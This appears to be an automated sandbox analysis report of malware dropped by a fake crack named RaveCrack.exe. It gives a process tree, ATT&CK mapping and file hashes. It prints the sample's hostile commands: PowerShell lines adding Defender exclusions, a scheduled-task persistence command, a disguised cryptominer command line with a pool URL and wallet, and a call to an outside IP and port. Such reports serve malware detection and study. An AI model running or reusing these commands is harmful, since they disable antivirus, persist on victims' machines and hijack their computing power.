Token: SeCreatePagefilePrivilege	3136	explorer.exe
Token: SeShutdownPrivilege	3136	explorer.exe
Token: SeCreatePagefilePrivilege	3136	explorer.exe
Token: SeShutdownPrivilege	3136	explorer.exe
Token: SeCreatePagefilePrivilege	3136	explorer.exe
Token: SeShutdownPrivilege	3136	explorer.exe
Token: SeCreatePagefilePrivilege	3136	explorer.exe
Token: SeDebugPrivilege	588	powershell.exe
Token: SeIncreaseQuotaPrivilege	588	powershell.exe
Token: SeSecurityPrivilege	588	powershell.exe
Token: SeTakeOwnershipPrivilege	588	powershell.exe
Token: SeLoadDriverPrivilege	588	powershell.exe
Token: SeSystemProfilePrivilege	588	powershell.exe
Token: SeSystemtimePrivilege	588	powershell.exe
Token: SeProfSingleProcessPrivilege	588	powershell.exe
Token: SeIncBasePriorityPrivilege	588	powershell.exe
Token: SeCreatePagefilePrivilege	588	powershell.exe
Token: SeBackupPrivilege	588	powershell.exe
Token: SeRestorePrivilege	588	powershell.exe
Token: SeShutdownPrivilege	588	powershell.exe
Token: SeDebugPrivilege	588	powershell.exe
Token: SeSystemEnvironmentPrivilege	588	powershell.exe
Token: SeRemoteShutdownPrivilege	588	powershell.exe

Suspicious use of FindShellTrayWindow 33 IoCs

Processes:

explorer.exe

pid	process
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe

Suspicious use of SendNotifyMessage 20 IoCs

Processes:

explorer.exe

pid	process
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe
3136	explorer.exe

Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

SearchUI.exeShellExperienceHost.exe

pid process

2300 SearchUI.exe
3008 ShellExperienceHost.exe
3008 ShellExperienceHost.exe

pid	process
2300	SearchUI.exe
3008	ShellExperienceHost.exe
3008	ShellExperienceHost.exe

Suspicious use of WriteProcessMemory 56 IoCs

Processes:

RaveCrack.exeJava.execmd.execmd.exeWindows.exeexplorer.execmd.exeservices64.execmd.exe

description	pid	process	target process
PID 2628 wrote to memory of 372	2628	RaveCrack.exe	WindowsDefender.exe
PID 2628 wrote to memory of 372	2628	RaveCrack.exe	WindowsDefender.exe
PID 2628 wrote to memory of 2544	2628	RaveCrack.exe	Java.exe
PID 2628 wrote to memory of 2544	2628	RaveCrack.exe	Java.exe
PID 2544 wrote to memory of 3440	2544	Java.exe	cmd.exe
PID 2544 wrote to memory of 3440	2544	Java.exe	cmd.exe
PID 3440 wrote to memory of 3180	3440	cmd.exe	powershell.exe
PID 3440 wrote to memory of 3180	3440	cmd.exe	powershell.exe
PID 2544 wrote to memory of 1764	2544	Java.exe	cmd.exe
PID 2544 wrote to memory of 1764	2544	Java.exe	cmd.exe
PID 1764 wrote to memory of 3280	1764	cmd.exe	schtasks.exe
PID 1764 wrote to memory of 3280	1764	cmd.exe	schtasks.exe
PID 2628 wrote to memory of 2188	2628	RaveCrack.exe	Windows.exe
PID 2628 wrote to memory of 2188	2628	RaveCrack.exe	Windows.exe
PID 2628 wrote to memory of 2188	2628	RaveCrack.exe	Windows.exe
PID 2188 wrote to memory of 3136	2188	Windows.exe	explorer.exe
PID 2188 wrote to memory of 3136	2188	Windows.exe	explorer.exe
PID 2188 wrote to memory of 3740	2188	Windows.exe	cvtres.exe
PID 2188 wrote to memory of 3740	2188	Windows.exe	cvtres.exe
PID 2188 wrote to memory of 3740	2188	Windows.exe	cvtres.exe
PID 2188 wrote to memory of 3740	2188	Windows.exe	cvtres.exe
PID 2188 wrote to memory of 3740	2188	Windows.exe	cvtres.exe
PID 2188 wrote to memory of 3740	2188	Windows.exe	cvtres.exe
PID 2188 wrote to memory of 3740	2188	Windows.exe	cvtres.exe
PID 2188 wrote to memory of 3740	2188	Windows.exe	cvtres.exe
PID 3136 wrote to memory of 1020	3136	explorer.exe	ctfmon.exe
PID 3136 wrote to memory of 1020	3136	explorer.exe	ctfmon.exe
PID 3440 wrote to memory of 588	3440	cmd.exe	powershell.exe
PID 3440 wrote to memory of 588	3440	cmd.exe	powershell.exe
PID 2544 wrote to memory of 1176	2544	Java.exe	cmd.exe
PID 2544 wrote to memory of 1176	2544	Java.exe	cmd.exe
PID 1176 wrote to memory of 2272	1176	cmd.exe	services64.exe
PID 1176 wrote to memory of 2272	1176	cmd.exe	services64.exe
PID 2272 wrote to memory of 3864	2272	services64.exe	cmd.exe
PID 2272 wrote to memory of 3864	2272	services64.exe	cmd.exe
PID 3864 wrote to memory of 2704	3864	cmd.exe	powershell.exe
PID 3864 wrote to memory of 2704	3864	cmd.exe	powershell.exe
PID 2272 wrote to memory of 1764	2272	services64.exe	sihost64.exe
PID 2272 wrote to memory of 1764	2272	services64.exe	sihost64.exe
PID 2272 wrote to memory of 672	2272	services64.exe	svchost.exe
PID 2272 wrote to memory of 672	2272	services64.exe	svchost.exe
PID 2272 wrote to memory of 672	2272	services64.exe	svchost.exe
PID 2272 wrote to memory of 672	2272	services64.exe	svchost.exe
PID 2272 wrote to memory of 672	2272	services64.exe	svchost.exe
PID 2272 wrote to memory of 672	2272	services64.exe	svchost.exe
PID 2272 wrote to memory of 672	2272	services64.exe	svchost.exe
PID 2272 wrote to memory of 672	2272	services64.exe	svchost.exe
PID 2272 wrote to memory of 672	2272	services64.exe	svchost.exe
PID 2272 wrote to memory of 672	2272	services64.exe	svchost.exe
PID 2272 wrote to memory of 672	2272	services64.exe	svchost.exe
PID 2272 wrote to memory of 672	2272	services64.exe	svchost.exe
PID 2272 wrote to memory of 672	2272	services64.exe	svchost.exe
PID 2272 wrote to memory of 672	2272	services64.exe	svchost.exe
PID 2272 wrote to memory of 672	2272	services64.exe	svchost.exe
PID 3864 wrote to memory of 3492	3864	cmd.exe	powershell.exe
PID 3864 wrote to memory of 3492	3864	cmd.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\RaveCrack.exe
"C:\Users\Admin\AppData\Local\Temp\RaveCrack.exe"
1⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2628

C:\Users\Admin\AppData\Local\Temp\WindowsDefender.exe
"C:\Users\Admin\AppData\Local\Temp\WindowsDefender.exe"
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:372

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 372 -s 1784
3⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
PID:1220

C:\Users\Admin\AppData\Local\Temp\Java.exe
"C:\Users\Admin\AppData\Local\Temp\Java.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2544

C:\Windows\SYSTEM32\cmd.exe
"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
3⤵
- Suspicious use of WriteProcessMemory
PID:3440

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3180

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:588

C:\Windows\SYSTEM32\cmd.exe
"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:1764

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
4⤵
- Creates scheduled task(s)
PID:3280

C:\Windows\SYSTEM32\cmd.exe
"cmd" cmd /c "C:\Windows\system32\services64.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:1176

C:\Windows\system32\services64.exe
C:\Windows\system32\services64.exe
4⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2272

C:\Windows\system32\cmd.exe
"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
5⤵
- Suspicious use of WriteProcessMemory
PID:3864

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
6⤵
- Suspicious behavior: EnumeratesProcesses
PID:2704

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
6⤵
- Suspicious behavior: EnumeratesProcesses
PID:3492

C:\Windows\system32\Microsoft\Libs\sihost64.exe
"C:\Windows\system32\Microsoft\Libs\sihost64.exe"
5⤵
- Executes dropped EXE
PID:1764

C:\Windows\System32\svchost.exe
C:\Windows/System32\svchost.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:14444 --user=41zSmpNwAfHBxUh8HTq7Fsj2TXsGboB8GFeM8ek7xhc8QmL1TJCmoam94f57niQhKqiajN7KMWmAng1cNnMghXPi5bN3xNk.{COMPUTERNAME}/adwadw --pass= --cpu-max-threads-hint=20 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56GQTOYuXRCBeyb5NYlmdCuiwuvmEFRE3FUoytGa2xDRKVyTGVqBRZ3YvrseaWnYy0OhLuczKVxfo8Wo33kvDh26CIpmy6+bf50YCXxhpkDvay12RqWFwTrEWzJDjMOFSbV4qSudJZDKeejGmt2wAsK4zZ9lj0F0NMeagNs9oiluuddfhHuwfN3JDOsm7vnmpSFDvtwzZIXsZWyWN624JxJsSIqBQxfKrcCnHvRx/k2yLSlvxLvum+3cwztr7Zb0wO7EEWrafJMkNolCTGr1RQK9klv+u1q+LOMUOW+Y1mA+ZjeC+aSi9qmt59ZMlAX42foDzL1w8qyVjl6rfhEF/2bTP0YCyKockkTlSVngGY/1F1T5EOo9DhmrxyNy9y8mJqRKYUIcpgNI5Y4F/BBh3W0pw0+6w6pKB/o2s/ADQ0m7f1mIWwiXrj/GHg6M2kw4tg4mnBGVnha642JDqV8iaYphm4FpsNVwyEeLSXd18Mjr+kd9fvE08ohpB15bbg+6JPSeWISk8CHiep3TzEvyvZ+5XcHZVh1iXXZwlYO+wW5wxnobnzBzuj6f/BZ2txWK+7m4Cgd8mjMym7jJ/vKH1WIDSz05jpx4+wkdqzn3YIdvl2S8Luc4rG0CJXqJOdwbYOBrAey4VzJk8E8cY9tmMr5hpjLcfmu59CVDYVbbFFkb9usjHhXda167RDDOeCiLgdiepY0+9J4GWfDFBWRnvZEIn9njCW10s1hFXvQH+unnKdsaoBPNxSaPInK8O97Hj64jPqNG5qPd3DSjbVR1Cvuh9P29ZftnsNS50GnGtYvaNRBa6443D9MamN7WKSEjXwi5X466GHpLm7tClAm3T8zHW8BSKHq3yutkuduzGC2BYW5rxa17LYp4CzfKufpZJNPcoGIEVeut/xrvPPi+IYNCKrJPaDMN2ZJkpVGMqbuc5AF89xn8L6Lg1pYhaW8QjVZfQAkz7FVC8K667Gg6noLQpAyfd6lW36v4zbzg+fy82rNQmYSI3WMfiYNmvJM8DVc0772kBqEwUisr6ktdw4QlqXJe45Hvgu4yC2Rb6/ntnmOTLJz66c2h/wdUSvS18C67j6jsTvSh7k7avmCdG4sgS/BcyNsYOGIVjgNICoikSjNVrnFxCscaJerBnNPv197mrO4+rRF20+jzVnXKaNAmzbmoa4UjU13WSWasSDIT/lwH5kWp3uPfR1kinOL+sIQ==" --cinit-idle-wait=1 --cinit-idle-cpu=80 --cinit-stealth
5⤵
- Suspicious behavior: EnumeratesProcesses
PID:672

C:\Users\Admin\AppData\Local\Temp\Windows.exe
"C:\Users\Admin\AppData\Local\Temp\Windows.exe"
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2188

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
3⤵
- Enumerates connected drives
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3136

C:\Windows\system32\ctfmon.exe
ctfmon.exe
4⤵
PID:1020

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Eliza 185.237.99.19 1339 dCeUemjhL
3⤵
PID:3740

C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe
"C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca
1⤵
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
PID:3008

C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
"C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2300

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

System Information Discovery

T1082

Peripheral Device Discovery

T1120

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
MD5
8592ba100a78835a6b94d5949e13dfc1

SHA1
63e901200ab9a57c7dd4c078d7f75dcd3b357020

SHA256
fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c

SHA512
87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
6a5806784a02b3c60154807251a7a975

SHA1
44ada9a4c7e7839a519be52e2810f25b1ea2fc6d

SHA256
b9d25b9ba14a6aa741c9c76199f747e87ba6d627260394d576ed182478f81220

SHA512
3278f8fddf5686ab6c96ede0799cbe6166a8bc33bd408d505f70fca94d397932a4126c9b02486e1dcbdc3c618e9da5cde4f633f28e9a187a0e357e41de637109

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
a9d9bd697d3dd16a72e2149e8988259b

SHA1
092675199a1d841f107849bf829161613d1c7d12

SHA256
dc5ad4e01f44b9336898d7f95dad801055578720c2c8ac22c69447ebe9823292

SHA512
615481f54600921962c155241f41f22d2b94099d3c49bbd7ea1edbcad80eaf29d21fdd7e1c8a457f26cbc8ffe8d5e31a4dce74af4303d0ef737b102b7fe0cadb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
91fde635000110cb982ec9235c14679b

SHA1
8192b5a48adea99bbe17335182401293ace23556

SHA256
451aed3261fe7d7aad531331a7fa1b2e0ce387bb787d4518aba4b81d62e37b9a

SHA512
8f4ad628e07da2bba9ff466ec9253e4a04c2a07f60bbf06d33b0be16771b5e289b95fb8e1966e880c3b28bc6a8e28570721d80931c1f070bdc4719b720dcccd3

Download Submit
C:\Users\Admin\AppData\Local\Temp\Java.exe
MD5
76c9006939b45a328a5187264ba21dac

SHA1
6278c21bd14dfd7cf5b6c86a051265fa846f6fe0

SHA256
993091a0549a9d4d793d31906dee2b5f2e52beb394018312064b263981181f5c

SHA512
4894dab07b00e067cc5e246d3aefabff2a551ad3420da4bc4baa333b9d6169fd28762e8997d50e9b0bfde79243e0ecf4b79ad9a16bbf2e4cb7a049712648ea8e

Download Submit
C:\Users\Admin\AppData\Local\Temp\Java.exe
MD5
76c9006939b45a328a5187264ba21dac

SHA1
6278c21bd14dfd7cf5b6c86a051265fa846f6fe0

SHA256
993091a0549a9d4d793d31906dee2b5f2e52beb394018312064b263981181f5c

SHA512
4894dab07b00e067cc5e246d3aefabff2a551ad3420da4bc4baa333b9d6169fd28762e8997d50e9b0bfde79243e0ecf4b79ad9a16bbf2e4cb7a049712648ea8e

Download Submit
C:\Users\Admin\AppData\Local\Temp\Windows.exe
MD5
04323065620b2b948a0c4c7f0824342f

SHA1
409971226295c3a0eeb3282584fd07de0f238c0d

SHA256
40ec87517eb87cbac27db58ee2c79eb0730c919a4dc6ba4e55882f0cc7aa4843

SHA512
34fe31132ee740f857f1622c355938bad2871465e6275fde45309fa99b5013d53e5a3343e7dea519ac0a089802c522fc3a937354a982aaa04d0faf4e925d7fbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\Windows.exe
MD5
04323065620b2b948a0c4c7f0824342f

SHA1
409971226295c3a0eeb3282584fd07de0f238c0d

SHA256
40ec87517eb87cbac27db58ee2c79eb0730c919a4dc6ba4e55882f0cc7aa4843

SHA512
34fe31132ee740f857f1622c355938bad2871465e6275fde45309fa99b5013d53e5a3343e7dea519ac0a089802c522fc3a937354a982aaa04d0faf4e925d7fbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\WindowsDefender.exe
MD5
d7f605b6448b78cf4854b87fc81ab83f

SHA1
e75fb49bd60755f29b6dd42284844fcfdf4e172e

SHA256
a7c31ed8a641a36a451cb604ca569efa74c066a9d917df27e3e592758591ceac

SHA512
c5cb4e9bb1ef412857957ce6dc7bf735db6fc29859f3dee5b2122c5bc89da7c0c4569e44ee27b7596c723644c9a88ab4b2cf4a52232e08c4578b316967e9b3c4

Download Submit
C:\Users\Admin\AppData\Local\Temp\WindowsDefender.exe
MD5
d7f605b6448b78cf4854b87fc81ab83f

SHA1
e75fb49bd60755f29b6dd42284844fcfdf4e172e

SHA256
a7c31ed8a641a36a451cb604ca569efa74c066a9d917df27e3e592758591ceac

SHA512
c5cb4e9bb1ef412857957ce6dc7bf735db6fc29859f3dee5b2122c5bc89da7c0c4569e44ee27b7596c723644c9a88ab4b2cf4a52232e08c4578b316967e9b3c4

Download Submit
C:\Windows\System32\Microsoft\Libs\sihost64.exe
MD5
47a096508b7341c02ad9dea2ae1bff65

SHA1
af3d9f459e011b6abbab999aa64885316149c50e

SHA256
defe2466f3885a0f25c09e35e5a51f837b534eae1ee8b8ad68c6b02bb8ebc875

SHA512
5959f95a08c0a2798187905d2c9c08b18a6d3d6d1276a80849ff6d203687836818a77952adcc5b6a6ec16bcbe30a899f0aecbd402d9e04bb90a69beb37d1cd4d

Download Submit
C:\Windows\System32\services64.exe
MD5
76c9006939b45a328a5187264ba21dac

SHA1
6278c21bd14dfd7cf5b6c86a051265fa846f6fe0

SHA256
993091a0549a9d4d793d31906dee2b5f2e52beb394018312064b263981181f5c

SHA512
4894dab07b00e067cc5e246d3aefabff2a551ad3420da4bc4baa333b9d6169fd28762e8997d50e9b0bfde79243e0ecf4b79ad9a16bbf2e4cb7a049712648ea8e

Download Submit
C:\Windows\system32\Microsoft\Libs\sihost64.exe
MD5
47a096508b7341c02ad9dea2ae1bff65

SHA1
af3d9f459e011b6abbab999aa64885316149c50e

SHA256
defe2466f3885a0f25c09e35e5a51f837b534eae1ee8b8ad68c6b02bb8ebc875

SHA512
5959f95a08c0a2798187905d2c9c08b18a6d3d6d1276a80849ff6d203687836818a77952adcc5b6a6ec16bcbe30a899f0aecbd402d9e04bb90a69beb37d1cd4d

Download Submit
C:\Windows\system32\services64.exe
MD5
76c9006939b45a328a5187264ba21dac

SHA1
6278c21bd14dfd7cf5b6c86a051265fa846f6fe0

SHA256
993091a0549a9d4d793d31906dee2b5f2e52beb394018312064b263981181f5c

SHA512
4894dab07b00e067cc5e246d3aefabff2a551ad3420da4bc4baa333b9d6169fd28762e8997d50e9b0bfde79243e0ecf4b79ad9a16bbf2e4cb7a049712648ea8e

Download Submit
memory/372-194-0x000002476A810000-0x000002476A811000-memory.dmp

Filesize
4KB

Download
memory/372-239-0x0000024769FA2000-0x0000024769FA4000-memory.dmp

Filesize
8KB

Download
memory/372-183-0x0000000000000000-mapping.dmp

Download
memory/372-193-0x0000024769FB0000-0x000002476A336000-memory.dmp

Filesize
3.5MB

Download
memory/372-186-0x0000024767430000-0x0000024767431000-memory.dmp

Filesize
4KB

Download
memory/372-195-0x0000024769FA0000-0x0000024769FA2000-memory.dmp

Filesize
8KB

Download
memory/372-198-0x0000024767BB0000-0x0000024767BB1000-memory.dmp

Filesize
4KB

Download
memory/588-293-0x0000000000000000-mapping.dmp

Download
memory/672-396-0x000000014030F3F8-mapping.dmp

Download
memory/1020-271-0x0000000000000000-mapping.dmp

Download
memory/1176-351-0x0000000000000000-mapping.dmp

Download
memory/1764-207-0x0000000000000000-mapping.dmp

Download
memory/1764-376-0x0000000000000000-mapping.dmp

Download
memory/2188-240-0x0000000000400000-0x0000000000402000-memory.dmp

Filesize
8KB

Download
memory/2188-247-0x0000000003570000-0x0000000003571000-memory.dmp

Filesize
4KB

Download
memory/2188-245-0x0000000003570000-0x0000000003571000-memory.dmp

Filesize
4KB

Download
memory/2188-242-0x0000000003580000-0x0000000003581000-memory.dmp

Filesize
4KB

Download
memory/2188-248-0x0000000003570000-0x0000000003571000-memory.dmp

Filesize
4KB

Download
memory/2188-249-0x0000000003570000-0x0000000003571000-memory.dmp

Filesize
4KB

Download
memory/2188-251-0x0000000003570000-0x0000000003571000-memory.dmp

Filesize
4KB

Download
memory/2188-222-0x0000000000000000-mapping.dmp

Download
memory/2188-252-0x0000000003570000-0x0000000003571000-memory.dmp

Filesize
4KB

Download
memory/2188-253-0x0000000003570000-0x0000000003571000-memory.dmp

Filesize
4KB

Download
memory/2188-250-0x00000000062D0000-0x00000000062D1000-memory.dmp

Filesize
4KB

Download
memory/2188-237-0x0000000000400000-0x00000000007FC000-memory.dmp

Filesize
4.0MB

Download
memory/2188-254-0x0000000003570000-0x0000000003571000-memory.dmp

Filesize
4KB

Download
memory/2272-352-0x0000000000000000-mapping.dmp

Download
memory/2544-188-0x0000000000000000-mapping.dmp

Download
memory/2544-191-0x0000000000920000-0x0000000000921000-memory.dmp

Filesize
4KB

Download
memory/2544-213-0x00000000032C0000-0x00000000032C2000-memory.dmp

Filesize
8KB

Download
memory/2544-197-0x0000000001A40000-0x0000000001A41000-memory.dmp

Filesize
4KB

Download
memory/2544-196-0x000000001C9E0000-0x000000001CBFE000-memory.dmp

Filesize
2.1MB

Download
memory/2628-142-0x00000000027E0000-0x00000000027E1000-memory.dmp

Filesize
4KB

Download
memory/2628-140-0x0000000003570000-0x0000000003571000-memory.dmp

Filesize
4KB

Download
memory/2628-166-0x0000000000D60000-0x0000000000D61000-memory.dmp

Filesize
4KB

Download
memory/2628-167-0x0000000000400000-0x0000000000402000-memory.dmp

Filesize
8KB

Download
memory/2628-169-0x0000000005C80000-0x0000000005C81000-memory.dmp

Filesize
4KB

Download
memory/2628-170-0x0000000006310000-0x0000000006311000-memory.dmp

Filesize
4KB

Download
memory/2628-171-0x0000000006340000-0x0000000006341000-memory.dmp

Filesize
4KB

Download
memory/2628-172-0x0000000006490000-0x0000000006491000-memory.dmp

Filesize
4KB

Download
memory/2628-173-0x00000000065D0000-0x00000000065D1000-memory.dmp

Filesize
4KB

Download
memory/2628-174-0x00000000064D0000-0x00000000064D1000-memory.dmp

Filesize
4KB

Download
memory/2628-175-0x0000000006670000-0x0000000006671000-memory.dmp

Filesize
4KB

Download
memory/2628-176-0x0000000006B90000-0x0000000006B91000-memory.dmp

Filesize
4KB

Download
memory/2628-177-0x0000000006CE0000-0x0000000006CE1000-memory.dmp

Filesize
4KB

Download
memory/2628-178-0x0000000006D80000-0x0000000006D81000-memory.dmp

Filesize
4KB

Download
memory/2628-179-0x0000000007300000-0x0000000007301000-memory.dmp

Filesize
4KB

Download
memory/2628-180-0x00000000075A0000-0x00000000075A1000-memory.dmp

Filesize
4KB

Download
memory/2628-159-0x0000000002920000-0x0000000002921000-memory.dmp

Filesize
4KB

Download
memory/2628-182-0x0000000007900000-0x0000000007901000-memory.dmp

Filesize
4KB

Download
memory/2628-158-0x0000000002930000-0x0000000002931000-memory.dmp

Filesize
4KB

Download
memory/2628-128-0x0000000000400000-0x00000000007F4000-memory.dmp

Filesize
4.0MB

Download
memory/2628-119-0x0000000002890000-0x0000000002891000-memory.dmp

Filesize
4KB

Download
memory/2628-157-0x0000000002970000-0x0000000002971000-memory.dmp

Filesize
4KB

Download
memory/2628-164-0x00000000026D0000-0x00000000026D1000-memory.dmp

Filesize
4KB

Download
memory/2628-126-0x00000000028B0000-0x00000000028B1000-memory.dmp

Filesize
4KB

Download
memory/2628-118-0x0000000000D00000-0x0000000000D60000-memory.dmp

Filesize
384KB

Download
memory/2628-127-0x0000000003580000-0x0000000003581000-memory.dmp

Filesize
4KB

Download
memory/2628-181-0x0000000007720000-0x0000000007721000-memory.dmp

Filesize
4KB

Download
memory/2628-154-0x0000000002940000-0x0000000002941000-memory.dmp

Filesize
4KB

Download
memory/2628-156-0x0000000002900000-0x0000000002901000-memory.dmp

Filesize
4KB

Download
memory/2628-163-0x0000000002980000-0x0000000002981000-memory.dmp

Filesize
4KB

Download
memory/2628-162-0x0000000000D60000-0x0000000000D61000-memory.dmp

Filesize
4KB

Download
memory/2628-129-0x0000000003570000-0x0000000003571000-memory.dmp

Filesize
4KB

Download
memory/2628-155-0x0000000002950000-0x0000000002951000-memory.dmp

Filesize
4KB

Download
memory/2628-130-0x0000000003570000-0x0000000003571000-memory.dmp

Filesize
4KB

Download
memory/2628-131-0x0000000003570000-0x0000000003571000-memory.dmp

Filesize
4KB

Download
memory/2628-133-0x0000000002660000-0x0000000002661000-memory.dmp

Filesize
4KB

Download
memory/2628-120-0x00000000028A0000-0x00000000028A1000-memory.dmp

Filesize
4KB

Download
memory/2628-135-0x0000000000D70000-0x0000000000D71000-memory.dmp

Filesize
4KB

Download
memory/2628-134-0x0000000002670000-0x0000000002671000-memory.dmp

Filesize
4KB

Download
memory/2628-132-0x0000000003570000-0x0000000003571000-memory.dmp

Filesize
4KB

Download
memory/2628-137-0x00000000026A0000-0x00000000026A1000-memory.dmp

Filesize
4KB

Download
memory/2628-153-0x0000000000D60000-0x0000000000D61000-memory.dmp

Filesize
4KB

Download
memory/2628-121-0x0000000002850000-0x0000000002851000-memory.dmp

Filesize
4KB

Download
memory/2628-123-0x0000000002880000-0x0000000002881000-memory.dmp

Filesize
4KB

Download
memory/2628-136-0x0000000000D90000-0x0000000000D91000-memory.dmp

Filesize
4KB

Download
memory/2628-125-0x00000000028E0000-0x00000000028E1000-memory.dmp

Filesize
4KB

Download
memory/2628-139-0x0000000003570000-0x0000000003571000-memory.dmp

Filesize
4KB

Download
memory/2628-161-0x0000000000D60000-0x0000000000D61000-memory.dmp

Filesize
4KB

Download
memory/2628-138-0x00000000026C0000-0x00000000026C1000-memory.dmp

Filesize
4KB

Download
memory/2628-165-0x0000000000D60000-0x0000000000D61000-memory.dmp

Filesize
4KB

Download
memory/2628-141-0x00000000027D0000-0x00000000027D1000-memory.dmp

Filesize
4KB

Download
memory/2628-160-0x0000000002990000-0x0000000002991000-memory.dmp

Filesize
4KB

Download
